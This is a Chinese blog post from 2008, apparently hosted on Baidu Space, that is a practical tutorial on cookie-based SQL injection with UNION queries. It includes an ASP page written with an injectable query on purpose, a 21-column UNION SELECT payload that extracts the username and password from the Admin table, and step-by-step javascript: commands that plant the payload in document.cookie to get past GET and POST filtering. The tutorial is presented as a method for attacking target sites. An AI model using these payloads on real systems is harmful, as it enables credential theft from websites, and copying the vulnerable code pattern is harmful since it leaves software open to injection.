百度空间 | 百度首页 
 
查看文章
 
让你快速学会Cookie与联合查询的注入
2008-05-07 17:48
具体的原理与分析过程我就不写了,写起来一大片,大家看的心烦我写的头痛,我就讲操作过程中的细节。隐私报告里设置处需要接受所有的cookie将安全降低。


cookie值是连接后才保存到本机的,也就是关IE后.
前提条件:一、网站没有过滤cookie方式的注入。
二、需事前了解数据库的管理员表段名,计算一下注入文件数据库查询语句在数据库中的列数。
打开数据库,找到Product这个表名,计算字段数为21个。管理员表名为admin 用户与密码字段名为username、password,呵呵没有注入文件,我们可以自己构造一个测试方便大家的理解。


构造如下简单注入ASP,当然我没作什么严格的过滤,也就是接受任何方式的提交。.
<!--#include file="Inc/conn.asp" --> //调用数据库连接文件
<%
dim ID,sql,rs //定义函数
ID=trim(request("ID")) //接受任何形式的提交去空
if Id="" then //id为空的跳转
response.Redirect("Product.asp")
end if
sql="select * from Product where ID=" & ID & "" //记录集查询语句
Set rs= Server.CreateObject("ADODB.Recordset") //调用查询语句,跳到记录集id所在的指针
rs.open sql,conn,1,3 //增加记录的表达方式 1,3可读写, 乐观锁定
if rs.bof and rs.eof then //提示 BOF 或 EOF,程序出错判断
response.Write("<p>找不到此产品</p>")
else
%>
<p><%=rs("Title")%></p> //反回指针处的内容,选取的字段与管理员的用户密码类型要相同
<p><%=rs("product_id")%></p>
<p><%=rs("Price")%></p>
<%
end if
rs.close //清空
set rs=nothing
call CloseConn
%>
找前图中的ID=55


构造联合查询语句
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from Admin 将6,2分别用username、password替换


来试试cookie注入。找个目标,注入点结构与前面相近就不再分析了,仅过滤了post与get注入.


步骤一:重新打开IE,先连接到需注入的网站http://127.0.0.1/nf,也就是去除前面的链接值。注意:不要直接在前面图中的链接处操作,可以会不成功噢。
步骤二:清空地址处IE,再次在地址中加入如下
javascript:alert(document.cookie="id="+escape("56 and 1=2 union select 1,
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from Admin"))
再次清空IE打入http://127.0.0.1/nf/ProductShow.asp


步骤四:重复步骤一.注意此步骤必需操作,很多人失败就在这里。
步骤五:清空地址处IE,再次在地址中如下代码
javascript:alert(document.cookie="id="+escape("56 and 1=2 union select 1,
username,3,4,5,6,password,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from Admin"))


步骤六、再次清空地址处IE。http://127.0.0.1/nf/ProductShow.asp


好了全文结束。尽可能的多写文章与大家分享吧

类别:默认分类 | 添加到搜藏 | 浏览() | 评论 (0)
 
最近读者:
 
网友评论:
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu